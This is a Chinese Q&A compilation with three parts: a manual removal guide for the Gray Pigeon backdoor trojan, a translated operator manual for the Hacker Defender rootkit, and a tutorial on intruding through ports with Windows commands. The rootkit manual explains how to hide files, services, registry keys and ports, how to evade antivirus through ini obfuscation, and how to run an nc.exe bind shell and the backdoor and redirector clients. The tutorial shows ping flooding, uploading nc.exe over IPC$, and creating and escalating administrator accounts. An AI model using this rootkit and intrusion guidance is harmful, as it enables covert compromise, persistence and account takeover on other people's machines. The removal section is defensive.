装灰鸽子软件会把自己的电脑带来什么不必要的东西吗?
手工清除方法
近来很多网友反映他们的机器中了一种叫做灰鸽子的木马病毒,这种病毒很是顽劣,在不同杀软上有不同名称比如:Gpigeon、Huigezi、Feutel,在计算机中清除它很是费事,特别是其刚刚开发出的2005,通过截取windows系统的API实现了程序文件隐藏、进程隐藏,服务隐藏三个隐藏,一般杀软在正常模式下根本就找不到其病毒文件,更别提查杀了的事情了,连杀软都很难对付,对用户而言更是头痛了,本文简单介绍了灰鸽子病毒的运行原理,手工检测方法、手工清除方法、防止感染的注意事项等内容,大部分内容都来自网络,由我搜集、整理、加工而成,如果侵犯了你的利益请指出我立刻纠正。
一、灰鸽子病毒简介
灰鸽子是国内一款著名后门。比起前辈冰河、黑洞来,灰鸽子可以说是国内后门的集大成者。其丰富而强大的功能、灵活多变的操作、良好的隐藏性使其他后门都相形见绌。客户端简易便捷的操作使刚入门的初学者都能充当黑客。当使用在合法情况下时,灰鸽子是一款优秀的远程控制软件。但如果拿它做一些非法的事,灰鸽子就成了很强大的黑客工具。这就好比火药,用在不同的场合,给人类带来不同的影响。对灰鸽子完整的介绍也许只有灰鸽子作者本人能够说清楚,在此我们只能进行简要介绍。
灰鸽子客户端和服务端都是采用Delphi编写。黑客利用客户端程序配置出服务端程序。可配置的信息主要包括上线类型(如等待连接还是主动连接)、主动连接时使用的公网IP(域名)、连接密码、使用的端口、启动项名称、服务名称,进程隐藏方式,使用的壳,代理,图标等等。
服务端对客户端连接方式有多种,使得处于各种网络环境的用户都可能中毒,包括局域网用户(通过代理上网)、公网用户和ADSL拨号用户等。
下面介绍服务端:
配置出来的服务端文件文件名为G_Server.exe(这是默认的,当然也可以改变)。然后黑客利用一切办法诱骗用户运行G_Server.exe程序。具体采用什么办法,读者可以充分发挥想象力,这里就不赘述。
G_Server.exe运行后将自己拷贝到Windows目录下(98/xp下为系统盘的windows目录,2k/NT下为系统盘的Winnt目录),然后再从体内释放G_Server.dll和G_Server_Hook.dll到windows目录下。G_Server.exe、G_Server.dll和G_Server_Hook.dll三个文件相互配合组成了灰鸽子服务端, G_Server_Hook.dll负责隐藏灰鸽子。通过截获进程的API调用隐藏灰鸽子的文件、服务的注册表项,甚至是进程中的模块名。截获的函数主要是用来遍历文件、遍历注册表项和遍历进程模块的一些函数。所以,有些时候用户感觉种了毒,但仔细检查却又发现不了什么异常。有些灰鸽子会多释放出一个名为G_ServerKey.dll的文件用来记录键盘操作。注意,G_Server.exe这个名称并不固定,它是可以定制的,比如当定制服务端文件名为A.exe时,生成的文件就是A.exe、A.dll和A_Hook.dll。
Windows目录下的G_Server.exe文件将自己注册成服务(9X系统写注册表启动项),每次开机都能自动运行,运行后启动G_Server.dll和G_Server_Hook.dll并自动退出。G_Server.dll文件实现后门功能,与控制端客户端进行通信;G_Server_Hook.dll则通过拦截API调用来隐藏病毒。因此,中毒后,我们看不到病毒文件,也看不到病毒注册的服务项。随着灰鸽子服务端文件的设置不同,G_Server_Hook.dll有时候附在Explorer.exe的进程空间中,有时候则是附在所有进程中。
灰鸽子的作者对于如何逃过杀毒软件的查杀花了很大力气。由于一些API函数被截获,正常模式下难以遍历到灰鸽子的文件和模块,造成查杀上的困难。要卸载灰鸽子动态库而且保证系统进程不崩溃也很麻烦,因此造成了近期灰鸽子在互联网上泛滥的局面。
二、灰鸽子的手工检测
由于灰鸽子拦截了API调用,在正常模式下服务端程序文件和它注册的服务项均被隐藏,也就是说你即使设置了“显示所有隐藏文件”也看不到它们。此外,灰鸽子服务端的文件名也是可以自定义的,这都给手工检测带来了一定的困难。
但是,通过仔细观察我们发现,对于灰鸽子的检测仍然是有规律可循的。从上面的运行原理分析可以看出,无论自定义的服务器端文件名是什么,一般都会在操作系统的安装目录下生成一个以“_hook.dll”结尾的文件。通过这一点,我们可以较为准确手工检测出灰鸽子 服务端。
由于正常模式下灰鸽子会隐藏自身,因此检测灰鸽子的操作一定要在安全模式下进行。进入安全模式的方法是:启动计算机,在系统进入Windows启动画面前,按下F8键(或者在启动计算机时按住Ctrl键不放),在出现的启动选项菜单中,选择“Safe Mode”或“安全模式”。
1、由于灰鸽子的文件本身具有隐藏属性,因此要设置Windows显示所有文件。打开“我的电脑”,选择菜单“工具”—》“文件夹选项”,点击“查看”,取消“隐藏受保护的操作系统文件”前的对勾,并在“隐藏文件和文件夹”项中选择“ 显示所有文件和文件夹”,然后点击“确定”。
2、打开Windows的“搜索文件”,文件名称输入“_hook.dll”,搜索位置选择Windows的安装目录(默认98/xp为C:\windows,2k/NT为C:\Winnt)。
3、经过搜索,我们在Windows目录(不包含子目录)下发现了一个名为Game_Hook.dll的文件。
4、根据灰鸽子原理分析我们知道,如果Game_Hook.DLL是灰鸽子的文件,则在操作系统安装目录下还会有Game.exe和Game.dll文件。打开Windows目录,果然有这两个文件,同时还有一个用于记录键盘操作的GameKey.dll文件。
经过这几步操作我们基本就可以确定这些文件是灰鸽子 服务端了,下面就可以进行手动清除。
三、灰鸽子的手工清除
经过上面的分析,清除灰鸽子就很容易了。清除灰鸽子仍然要在安全模式下操作,主要有两步:1、清除灰鸽子的服务;2删除灰鸽子程序文件。
注意:为防止误操作,清除前一定要做好备份。
(一)、清除灰鸽子的服务
注意清除灰鸽子的服务一定要在注册表里完成,对注册表不熟悉的网友请找熟悉的人帮忙操作,清除灰鸽子的服务一定要先备份注册表,或者到纯DOS下将注册表文件更名,然后在去注册表删除灰鸽子的服务。因为病毒会和EXE文件进行关联
2000/XP系统:
1、打开注册表编辑器(点击“开始”-》“运行”,输入“Regedit.exe”,确定。),打开 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services注册表项。
2、点击菜单“编辑”-》“查找”,“查找目标”输入“game.exe”,点击确定,我们就可以找到灰鸽子的服务项(此例为Game_Server,每个人这个服务项名称是不同的)。
3、删除整个Game_Server项。
98/me系统:
在9X下,灰鸽子启动项只有一个,因此清除更为简单。运行注册表编辑器,打开HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run项,我们立即看到名为Game.exe的一项,将Game.exe项删除即可。
(二)、删除灰鸽子程序文件
删除灰鸽子程序文件非常简单,只需要在安全模式下删除Windows目录下的Game.exe、Game.dll、Game_Hook.dll以及Gamekey.dll文件,然后重新启动计算机。至此,灰鸽子VIP 2005 服务端已经被清除干净。
以上介绍的方法适用于我们看到的大部分灰鸽子木马及其变种,然而仍有极少数变种采用此种方法无法检测和清除。同时,随着灰鸽子新版本的不断推出,作者可能会加入一些新的隐藏方法、防删除手段,手工检测和清除它的难度也会越来越大。
四、防止中灰鸽子病毒需要注意的事项
1. 给系统安装补丁程序。通过Windows Update安装好系统补丁程序(关键更新、安全更新和Service pack),其中MS04-011、MS04-012、MS04-013、MS03-001、MS03-007、MS03-049、MS04-032等都被病毒广泛利用,是非常必要的补丁程序
2. 给系统管理员帐户设置足够复杂足够强壮的密码,最好能是10位以上,字母+数字+其它符号的组合;也可以禁用/删除一些不使用的帐户
3. 经常更新杀毒软件(病毒库),设置允许的可设置为每天定时自动更新。安装并合理使用网络防火墙软件,网络防火墙在防病毒过程中也可以起到至关重要的作用,能有效地阻挡自来网络的攻击和病毒的入侵。部分盗版Windows用户不能正常安装补丁,这点也比较无奈,这部分用户不妨通过使用网络防火墙来进行一定防护
4. 关闭一些不需要的服务,条件允许的可关闭没有必要的共享,也包括C$、D$等管理共享。完全单机的用户可直接关闭Server服务。
. 下载HijackThis扫描系统
下载地址:
zww3008汉化版
英文版
2. 从HijackThis日志的 O23项可以发现灰鸽子自的服务项
如最近流行的:
O23 - Service: SYSTEM$ (SYSTEM$Server) - Unknown owner - C:\WINDOWS\setemy.bat
O23 - Service: Network Connections Manager (NetConMan) - Unknown owner - C:\WINDOWS\uinstall.exe
O23 - Service: winServer - Unknown owner - C:\WINDOWS\winserver.exe
O23 - Service: Gray_Pigeon_Server (GrayPigeonServer) - Unknown owner - C:\WINDOWS\G_Server.exe
用HijackThis选中上面的O23项,然后选择"修复该项"或"Fix checked"
3. 用Killbox删除灰鸽子对应的木马文件 可以从这里下载Killbox
直接把文件的路径复制到 Killbox里删除
通常都是下面这样的文件 "服务名"具体通过HijackThis判断
C:\windows\服务名.dll
C:\windows\服务名.exe
C:\windows\服务名.bat
C:\windows\服务名key.dll
C:\windows\服务名_hook.dll
C:\windows\服务名_hook2.dll
举例说明:
C:\WINDOWS\setemykey.dll
C:\WINDOWS\setemy.dll
C:\WINDOWS\setemy.exe
C:\WINDOWS\setemy_hook.dll
C:\WINDOWS\setemy_hook2.dll
用Killbox删除那些木马文件,由于文件具有隐藏属性,可能无法直接看到,但Killbox能直接删除. 上面的文件不一定全部存在,如果Killbox提示文件不存在或已经删除就没关系了
hacker defend书籍里大多数的代码是什么语言的啊?我看不懂怎么办?要学什么才能看懂呢?
Hacker defender 使用
=====[1,目录]==============================================
1.
目录
2. 概要
2.1 关于
2.2 申明
3. 使用说明
4. Ini文件说明
5.
Backdoor
5.1 Redirector
6. 技术支持
6.1 版本
6.2
钩子API函数
6.3 已知的 bugs
7. Faq
8. 文件
=====[ 2.
关于]================================================
Hacker defender
(hxdef)是一个使用于Windows NT 4.0, Windows 2000 以及Windows
XP操作系统的一个NTROOKIT,它也能运行于之后的基于NT的操作系统。主要代码是由DELPHI
6完成。新的功能使用汇编书写。驱动代码由C完成。后门和redirector客服端大部分使用 Delphi 6完成。
=====[ 2.1 概要
]=============================================
程序的主要功能是在所有运行中的进程中重写分割内存,重写一些基本的模块改变进程的状态,它几乎能够改写所有不影响系统稳定和正在运行中的进程。
程序能够完全隐藏,现在能够做的有隐藏文件、进程、系统服务、系统驱动、注册表的键值和键、开放端口以及虚构可用磁盘空间。程序同时也在内存中伪装它所做的改动,并且隐蔽地控制被隐藏进程。程序安装后能构造后门、注册表、系统服务,构造系统驱动。其本身的后门技术允许其植入
redirector。
=====[ 2.2
申明]====================================================
本项目1.0.0版本是开发源代码。
使用Hacker
defender所造成的后果作者本人概不负责。
=====[ 3. 用法
]==================================================
一个使用hxdef的简单例子:
hxdef100.exe [inifile]
或者
hxdef100.exe [switch]
直接执行EXE文件,不带任何的参数时候,默认的inifile文件为程序名.ini
。
当你执行hedef100不指定ini文件,或者你以参数模式运行时候,默认的文件是
hxdef100.ini。
下面的参数是有效的:
-:installonly - 只安装服务,不运行
-:refresh - 从INI文件中更新设置
-:noservice - 正常运行不安装服务
-:uninstall -
移除hxdef删除所有运行的后门连接,同时停止hxdef服务
例如:
hxdef100.exe
-:refresh
Hxdef拥有默认INI文件,但是我们强烈的推荐你建立自己的ini文件。关于ini文件的介绍可以看第4部分ini文件部分。
参数
-:refresh and -:uninstall
来源于本来的EXE文件。这就意味这你只要知道hxdef的运行路径和EXE名,就能够改变它的设置或者进行移除工作。
=====[ 4. Ini文件
]============================================
ini文件必须包含了9个部分: [Hidden Table],
[Root Processes], [Hidden Services], [Hidden RegKeys], [Hidden RegValues],
[Startup Run], [Free Space], [Hidden Ports]和[Settings]。
在 [Hidden Table],
[Root Processes], [Hidden Services]和[Hidden RegValues]
中能够使用*代替后面的字符,星号仅仅使用于字符的后面,任何在*之前的都是无效的。所有的在字符之前和之后的空格也是无效的。
例如:
[Hidden
Table]
hxdef*
将开始隐藏所有在Hidden
Table中以"hxdef"开头的文件、文件夹和系统进程。
在该文件列表中的所有文件和文件夹都将在文件管理器中消失。在这个列表中的程序也会在任务管理器中被隐藏。必须确保主要文件,INI文件,你的后门文件和驱动文件被包含在列表中。
在程序列表中的主进程对感染具有免淤能力,你只能利用这些主程序才能看见隐藏的文件,文件夹和程序。所以,主进程是为rootkit管理员所使用的。
由服务和驱动所组成的Hidden
Services列表将会隐藏在数据库中的安装服务和驱动。rootkit主程序的服务名默认为HackerDefender100,rootkit驱动的驱动名默认为HackerDefenderDrv100。它们两者都可以通过ini文件进行修改。
Hidden
RegKeys中列出的注册表键值将会被隐藏,Rootkit在注册表中有四个键值:默认的是HackerDefender100,
LEGACY_HACKERDEFENDER100, HackerDefenderDrv100, LEGACY_HACKERDEFENDERDRV100
如果你要重新命名服务名或者驱动名,你需要在列表中做相应的改变。
开始2个键值是和你的服务据用相同名字的,接下来的键值是LEGACY_名字。例如,如果你改变你的服务名称为BoomThisIsMySvc
,那么在注册表中,应该是这样表示的,LEGACY_BOOMTHISISMYSVC。
在Hidden
RegValues列出的注册表的值将会被隐藏。
Startup
Run列表中列出的是rootkit程序运行之后的自启动程序。这些程序和ROOTKIT具有一样的特权。程序名和它后面的参数以?分开。不要使用"字符,程序将会在用户登陆以后终止,在用户登陆以后可以使用一般和常见的方法。你可以使用下面这些快捷方式。
%cmd%标准系统的shell和路径
%cmddir%标准系统的shell文件夹
%sysdir%
- 系统文件夹
(e.g. C:\winnt\system32\)
%windir% -
标准系统文件夹
(e.g. C:\winnt\)
%tmpdir% - 临时文件夹
(e.g. C:\winnt\temp\)
例如:1)
[Startup Run]
c:\sys\nc.exe?-L -p
100 -t -e cmd.exe
nc-shell将会在rootkit运行以后监听100端口
2)
[Startup
Run]
%cmd%?/c echo Rootkit started at %TIME%
%tmpdir%starttime.txt
将rootkit启动时间保存在系统临时文件夹夹starttime。Txt文件。
(%TIME%仅仅运行于Windows2000以上的操作系统。)
Free
Space中列出的驱动硬盘名和容量大小是你想增加的硬盘,它的格式是X:NUM,其中X表示磁盘驱动器的名称,NUM表示你要增加的磁盘的容量。
例如:
[Free
Space]
C:123456789
这将在C盘增加大约123M的磁盘空间。
Hidden
Ports中列出的是你需要隐藏程序的端口,比如使用OpPorts, FPort, Active Ports, Tcp
View等的程序,它最多拥有2行。第1行的格式是TCP:tppport1,tcpport2,tcpport3
,第2行的格式是UDP:udpport1,udpport2,udpport3 ...例如:
1)
[Hidden
Ports]
TCP:8080,456
这将隐藏2个TCP端口:8080和456
2)
[Hidden
Ports]
TCP:8001
UDP:12345
这将隐藏2个端口:TCP的8001和UDP的12345。
3)
[Hidden
Ports]
TCP:
UDP:53,54,55,56,800
隐藏5个端口,都为UDP端口:53,54,55,56,800。
Settings包含了8个值:Password,
BackdoorShell, FileMappingName, ServiceName,ServiceDisplayName,
ServiceDescription, DriverName 和
DriverFileName。
名。
16位字符的Password被用于后门链接和转向,密码能根据短一些,余下的用空格代替。
BackdoorShell是复制于系统的SHELL文件,它被后门创建于一个临时的目录下。
FileMappingName,当钩子进程被存储时,用于共享内存。
ServiceName是rootkit服务
ServiceDisplayName为rootkit显示的服务
ServiceDescription位rootkit的服务描述
DriverName以hxdef驱动命名
DriverFileName以hxdef驱动文件命名
例如;
[Settings]
Password=hxdef-rulez
BackdoorShell=hxdef?.exe
FileMappingName=_.-=[Hacker
Defender]=-._
ServiceName=HackerDefender100
ServiceDisplayName=HXD Service
100
ServiceDescription=powerful NT
rootkit
DriverName=HackerDefenderDrv100
DriverFileName=hxdefdrv.sys
这就意味着你的后门密码为hxdef-rulez,后门将复制系统shell文件(通常是CMD.EXE)为hxdef?.exe到临时目录。共享内存将变为"_.-=[Hacker
Defender]=-._",服务名为"HackerDefender100",它显示的名称为"HXD Service 100",它的描述为"poweful NT
rootkit",驱动名为"HackerDefenderDrv100",驱动将被存储于一个叫做"hxdefdrv.sys"的文件中。
扩展字符|,
, , :, \, / 和 "在所有的行中都会被忽略,除了[Startup Run], [Free Space] 和 [Hidden
Ports] 项目和在 [Settings] 中first =
character后面的值。使用扩展字符能然你的INIFILE文件摆脱杀毒软件的查杀。
例如:
Example:
[Hidden
Ta/"ble]
h"xdef"*
和下面的是一样的。
[Hidden
Table]
hxdef*
更多的例如可以参照hxdef100.ini
和hxdef100.2.ini文件。
所有的在ini文件中的字符串除了那些在Settings 和 Startup
Run中的,都是无效的。
=====[ 5. Backdoor
]=========================================
Rootkit程序
Hook了一些API的功能,连接接收一些来自网络的数据包。如果接收的数据等于256个字节,密码和服务被确认,复制的SHELL被临时创建,这种情况建立以后,下一次的数据接收被重定向到这个SHELL上。
因为rootkit程序
Hook了系统中所有进程,所有在服务器上的TCP端口都将变为后门。例如,如果目标主机开放了提供HTTP服务的80端口,这个端口也能作为一个有效的后门。例外的是这个开放端口的进程不会被Hook,这个后门仅仅工作于服务器的接收缓冲大于或者等于256个字节。但是这个特征几乎适合于所有标准的服务,像IIS,APACHE,ORACLE等。后门能够隐藏是因为所有的数据都通过系统上面提供的服务转发。所以你不能使用一些简单的端口扫描软件找到它,并且它能轻易的穿过防火墙。
在测试发现IIS服务过程中,HTTP服务不能记录任何的连接日记,FTP和SMTP服务器仅仅能记录结束的断开连接。所以,如果你运行hxdef在有IIS
Web服务的服务器上面,HTTP端口跟你是连接机器使用的后门的最好端口。
如果你想连接后门的话,你将不得不使用使用一些特别的客户端,程序bdcli100.exe就是被用于如此的。
用法:bdcli100.exe
host port password
例如:
bdcli100.exe 80
hxdef-rulez
连接服务器使用默认的密码。客户端1.0.0版本不兼容其他老的版本。
=====[
5.1 Redirector
]==========================================
Redirector是基于后门技术。第一个连接包和后门连接一样。这就意味着你能使用相同的端口。下一个包是仅仅为Redirector特殊的包,这些包由基于运行用户电脑的重定向器生成.第一个重定向的包连接特定的目标主机和端口。
Redirectors的设置保存在与EXE文件同名的INI文件中(所以默认的是rdrbs100.ini)。如果这个文件不存在,那么在EXE文件运行的时候它会自动建立一个。最好不要额外的修改INI文件。所有的设置都可以在console中进行改变。
当ROOTKIT被安装时,如果我们需要使用服务器上面的redirectors功能,我们首先要在本地运行程序。在控制台上我们可以在有HXDEF的服务器上面建立一个映射端口路由。最后我们连接本地端口并且转换数据。转向的数据被rootkit的密码加密。在这个版本中连接的速度被限制在256K左右。在这个版本中redirectors并不适合于高速连接。Redirectors也会受到安装有rootkit的服务器的限制,而且Redirectors仅仅使用TCP协议连接。在这个版本中Redirectors
base有19条命令,他们并不是非常的敏感。关于功能的详细描述可以使用HELP命令。在Redirectors
base启动时,startup-list中的命令也被执行。startup-list中的命令可以用使用SU启动的CMD进行编辑。
Redirector区分于2种连接类型(HTTP和其他)。如果连接是其他类型的,数据包将不会被改变。如果是HTTP类型,在HTTP文件头的HOST参数将会改变为目标服务器。一个base的最大Redirector数量是1000。
Redirector仅仅适用于NT结构,只有在拥有图标的NT程序下你才能使用HIDE命令隐藏控制台。只有在NT下才能无声无息的运行,没有数据输出,没有图标,仅仅执行startup-list中的命令。例子:1)得到端口映射信息
MPINFO
No mapped ports in the
list.
2)增加MPINFO命令到startup-list并且得到startup-list中的命令。
SUADD
MPINFO
sulist
0) MPINFO
3)使用HELP命令。
HELP
Type HELP COMMAND for command details.
Valid commands
are:
HELP, EXIT, CLS, SAVE, LIST, OPEN, CLOSE, HIDE, MPINFO, ADD,
DEL,
DETAIL, SULIST, SUADD, SUDEL, SILENT, EDIT, SUEDIT,
TEST
HELP ADD
Create mapped port. You have to specify domain
when using HTTP
type.
usage: ADD LOCAL PORT MAPPING
SERVER MAPPING SERVER PORT
TARGET
SERVER
TARGET SERVER PORT PASSWORD [TYPE] [DOMAIN]
HELP
EXIT
Kill this application. Use DIS flag to discard unsaved data.
usage: EXIT
[DIS]
4)增加端口映射,我们在本地100端口进行监听,ROOTKIT安装在服务器200.100.2.36的80端口上,目标服务器是端口。,rootkit的密码是bIgpWd,连接类型HTTP,目标主机()我们知道它的IP地址是216.239.53.100。
ADD 100
200.100.2.36 80 216.239.53.100 80 bIgpWd HTTP
ADD命令可以不加任何参数的运行,在这个例子中我们要求每一个参数都要分开。
5)现在我们再使用MPINFO检查一下映射端口
MPINFO
There are 1 mapped ports in the list. Currently 0 of them
open.
6)列举端口映射表:
LIST
000)
:100:200.100.2.36:80:216.239.53.100:80:bIgpWd:HTTP
7)一个端口映射的详细描述:
DETAIL
Listening on port: 100
Mapping server address:
200.100.2.36
Mapping server port: 80
Target server address:
216.239.53.100
Target server port: 80
Password: bIgpWd
Port
type: HTTP
Domain name for HTTP Host:
Current state:
CLOSED
8)在没有密码的情况下,我们能在端口映射服务器200.100.2.36上测试rootkit是否已经安装(但是如果我们能确认它这样做就不再需要)
TEST 0
Testing 0) 200.100.2.36:80:bIgpWd –
OK
如果测试失败则显示:
Testing 0) 200.100.2.36:80:bIgpWd -
FAILED
9)在我们没使用之前端口仍然是没有开放的。我们不得不使用OPEN命令打开它,当端口开放时,我们也能使用CHOSE命令关闭端口。我们能使用标志符ALL应用这些命令在列表中的所有端口,这个过程可能需要一段的时间。
OPEN 0
Port number 0 opened.
CLOSE 0
Port number 0
closed.
或者 OPEN ALL
Port number 0
opened.
10)要保存当前的设置和列表我们可以使用SAVE命令,将保存所有的设置到ini文件中。(保存也会通过命令EXIT执行,而不需要DIS标志)
SAVE Saved
successfully.
开的端口能够转换我们需要的所有数据。限制你能打开你喜欢的浏览器输入网址,如果没有什么问题的话,你会看见打开的是的主页。
第一个数据包跟你会延迟5秒钟左右,但是其他的限制仅仅取决于服务器的速度,根据这个版本的转向技术,你联网的速度大约在256K左右。
=====[
6.
技术发行]========================================
这部分包含了一些对于普通用户无关紧要的信息。这部分可能适合所有的测试者和开发人员阅读
DELPHI是什么意思
由Borland公司推出的Delphi是全新的可视化编程环境,为我们提供了一种方便、快捷的Windows应用程序开发工具。它使用了Microsoft Windows图形用户界面的许多先进特性和设计思想,采用了弹性可重复利用的完整的面向对象程序语言(Object-Oriented Language)、当今世界上最快的编辑器、最为领先的数据库技术。对于广大的程序开发人员来讲,使用Delphi开发应用软件,无疑会大大地提高编程效率,而且随着应用的深入,您将会发现编程不再是枯燥无味的工作——Delphi的每一个设计细节,都将带给您一份欣喜。
Delphi是Borland公司研制的新一代可视化开发工具,可在Windows3.x、Windows95、WindowsNT等环境下使用。当前,DELPHI 也可以为LINUX平台上开发应用,其在LINUX上的对应产品Kylix。
DELPHI 拥有一个可视化的集成开发环境(IDE),采用面向对象的编程语言ObjectPascal和基于部件的开发结构框架。Delphi它提供了500多个可供使用的构件,利用这些部件,开发人员可以快速地构造出应用系统。开发人员也可以根据自己的需要修改部件或用Delphi本身编写自己的部件。主要特点如下:
(1)直接编译生成可执行代码,编译速度快。由于Delphi编译器采用了条件编译和选择链接技术,使用它生成的执行文件更加精炼,运行速度更快。在处理速度和存取服务器方面,Delphi的性能远远高于其他同类产品。
(2)支持将存取规则分别交给客户机或服务器处理的两种方案,而且允许开发人员建立一个简单的部件或部件集合,封装起所有的规则,并独立于服务器和客户机,所有的数据转移通过这些部件来完成。这样,大大减少了对服务器的请求和网络上的数据传输量,提高了应用处理的速度。
(3)提供了许多快速方便的开发方法,使开发人员能用尽可能少的重复性工作完成各种不同的应用。利用项目模板和专家生成器可以很快建立项目的构架,然后根据用户的实际需要逐步完善。
(4)具有可重用性和可扩展性。开发人员不必再对诸如标签、按钮及对话框等Windows的常见部件进行编程。Delphi包含许多可以重复使用的部件,允许用户控制Windows的开发效果。
(5)具有强大的数据存取功能。它的数据处理工具BDE(BorlandDatabaseEngine)是一个标准的中介软件层,可以用来处理当前流行的数据格式,如xBase、Paradox等,也可以通过BDE的SQLLink直接与Sybase、SQLServer、Informix、Oracle等大型数据库连接。 Delphi既可用于开发系统软件,也适合于应用软件的开发。
(6)拥有强大的网络开发能力,能够快速的开发B/S应用,它内置的IntraWeb和ExpressWeb使得对于网络的开发效率超过了其他任何的开发工具。
(7)Delphi使用独特的VCL类库,使得编写出的程序显得条理清晰,VCL是现在最优秀的类库,它使得Delphi在软件开发行业处于一个绝对领先的地位。用户可以按自己的需要,任意的构建、扩充、甚至是删减VCL,以满足不同的需要。
(8)从Delphi8开始Delphi也支持.Net框架下程序开发。
当前DELPHI 已经成为一个品牌,而不仅仅是一个开发平台或开发语言的名称。 当前DELPHI产品已经由CodeGear公司继续发展,该公司是BORLAND公司的全资子公司。当前,CodeGear为广大开发者提供了DELPHI FOR PHP,以高度可视化的方式全面支持面向对象的PHP 网站开发,大大提高了PHP开发网站的代码复用程度,成为WEB应用开发的新利器。
里面有详细的~
怎么通过端口进行入侵?
一、ping 它是用来检查网络是否通畅或者网络连接速度的命令。作为一个生活在网络上的管理员或者黑客来说,ping命令是第一个必须掌握的DOS命令,它所利用的原理是这样的:网络上的机器都有唯一确定的IP地址,我们给目标IP地址发送一个数据包,对方就要返回一个同样大小的数据包,根据返回的数据包我们可以确定目标主机的存在,可以初步判断目标主机的操作系统等。下面就来看看它的一些常用的操作。先看看帮助吧,在DOS窗口中键入:ping /? 回车。所示的帮助画面。在此,我们只掌握一些基本的很有用的参数就可以了(下同)。 -t 表示将不间断向目标IP发送数据包,直到我们强迫其停止。试想,如果你使用100M的宽带接入,而目标IP是56K的小猫,那么要不了多久,目标IP就因为承受不了这么多的数据而掉线,呵呵,一次攻击就这么简单的实现了。 -l 定义发送数据包的大小,默认为32字节,我们利用它可以最大定义到65500字节。结合上面介绍的-t参数一起使用,会有更好的效果哦。 -n 定义向目标IP发送数据包的次数,默认为3次。如果网络速度比较慢,3次对我们来说也浪费了不少时间,因为现在我们的目的仅仅是判断目标IP是否存在,那么就定义为一次吧。 说明一下,如果-t 参数和 -n参数一起使用,ping命令就以放在后面的参数为标准,比如"ping IP -t -n 3",虽然使用了-t参数,但并不是一直ping下去,而是只ping 3次。另外,ping命令不一定非得ping IP,也可以直接ping主机域名,这样就可以得到主机的 IP。 下面我们举个例子来说明一下具体用法。 这里time=2表示从发出数据包到接受到返回数据包所用的时间是2秒,从这里可以判断网络连接速度的大小 。从TTL的返回值可以初步判断被 ping主机的操作系统,之所以说"初步判断"是因为这个值是可以修改的。这里TTL=32表示操作系统可能是win98。 (小知识:如果TTL=128,则表示目标主机可能是Win2000;如果TTL=250,则目标主机可能是Unix) 至于利用ping命令可以快速查找局域网故障,可以快速搜索最快的QQ服务器,可以对别人进行ping攻击……这些就靠大家自己发挥了。 二、nbtstat 该命令使用TCP/IP上的NetBIOS显示协议统计和当前TCP/IP连接,使用这个命令你可以得到远程主机的NETBIOS信息,比如用户名、所属的工作组、网卡的MAC地址等。在此我们就有必要了解几个基本的参数。 -a 使用这个参数,只要你知道了远程主机的机器名称,就可以得到它的NETBIOS信息(下同)。 -A 这个参数也可以得到远程主机的NETBIOS信息,但需要你知道它的IP。 -n 列出本地机器的NETBIOS信息。 当得到了对方的IP或者机器名的时候,就可以使用nbtstat命令来进一步得到对方的信息了,这又增加了我们入侵的保险系数。 三、netstat 这是一个用来查看网络状态的命令,操作简便功能强大。 -a 查看本地机器的所有开放端口,可以有效发现和预防木马,可以知道机器所开的服务等信息。 这里可以看出本地机器开放有FTP服务、Telnet服务、邮件服务、WEB服务等。用法:netstat -a IP。 -r 列出当前的路由信息,告诉我们本地机器的网关、子网掩码等信息。用法:netstat -r IP。
四、tracert 跟踪路由信息,使用此命令可以查出数据从本地机器传输到目标主机所经过的所有途径,这对我们了解网络布局和结构很有帮助。 这里说明数据从本地机器传输到192.168.0.1的机器上,中间没有经过任何中转,说明这两台机器是在同一段局域网内。用法:tracert IP。 2
必须掌握的八个cmd命令(自己的收藏)
五、net 这个命令是网络命令中最重要的一个,必须透彻掌握它的每一个子命令的用法,因为它的功能实在是太强大了,这简直就是 微软为我们提供的最好的入侵工具。首先让我们来看一看它都有那些子命令,键入net /?回车。 在这里,我们重点掌握几个入侵常用的子命令。 net view 使用此命令查看远程主机的所以共享资源。命令格式为net view IP。 net use 把远程主机的某个共享资源影射为本地盘符,图形界面方便使用,呵呵。命令格式为net use x: IPsharename。上面一个表示把 192.168.0.5IP的共享名为magic的目录影射为本地的Z盘。下面表示和192.168.0.7建立IPC$连接(net use IP IPC$"password" /user:"name")。 建立了IPC$连接后,呵呵,就可以上传文件了:copy nc.exe 92.168.0.7admin$,表示把本地目录下的nc.exe传到远程主机,结合后面要介绍到的其他DOS命令就可以实现入侵了。 net start 使用它来启动远程主机上的服务。当你和远程主机建立连接后,如果发现它的什么服务没有启动,而你又想利用此服务怎么办?就使用这个命令来启动吧。用法:net start servername,成功启动了telnet服务。 net stop 入侵后发现远程主机的某个服务碍手碍脚,怎么办?利用这个命令停掉就ok了,用法和net start同。 net user 查看和帐户有关的情况,包括新建帐户、删除帐户、查看特定帐户、激活帐户、帐户禁用等。这对我们入侵是很有利的,最重要的,它为我们克隆帐户提供了前提。键入不带参数的net user,可以查看所有用户,包括已经禁用的。下面分别讲解。 1,net user abcd 1234 /add,新建一个用户名为abcd,密码为1234的帐户,默认为user组成员。 2,net user abcd /del,将用户名为abcd的用户删除。 3,net user abcd /active:no,将用户名为abcd的用户禁用。 4,net user abcd /active:yes,激活用户名为abcd的用户。 5,net user abcd,查看用户名为abcd的用户的情况。 net localgroup 查看所有和用户组有关的信息和进行相关操作。键入不带参数的net localgroup即列出当前所有的用户组。在入侵过程中,我们一般利用它来把某个帐户提升为administrator组帐户,这样我们利用这个帐户就可以控制整个远程主机了。用法: net localgroup groupname username /add。 现在我们把刚才新建的用户abcd加到administrator组里去了,这时候abcd用户已经是超级管理员了,呵呵,你可以再使用 net user abcd来查看他的状态。但这样太明显了,网管一看用户情况就能漏出破绽,所以这种方法只能对付菜鸟网管,但我们还得知道。现在的手段都是利用其他工具和手段克隆一个让网管看不出来的超级管理员,这是后话。有兴趣的朋友可以参照《黑客防线》第30期上的《由浅入深解析隆帐户》一文。 net time 这个命令可以查看远程主机当前的时间。如果你的目标只是进入到远程主机里面,那么也许就用不到这个命令了。但简单的入侵成功了,难道只是看看吗?我们需要进一步渗透。这就连远程主机当前的时间都需要知道,因为利用时间和其他手段(后面会讲到)可以实现某个命令和程序的定时启动,为我们进一步入侵打好基础。用法:net time IP。 3 必须掌握的八个cmd命令(自己的收藏)
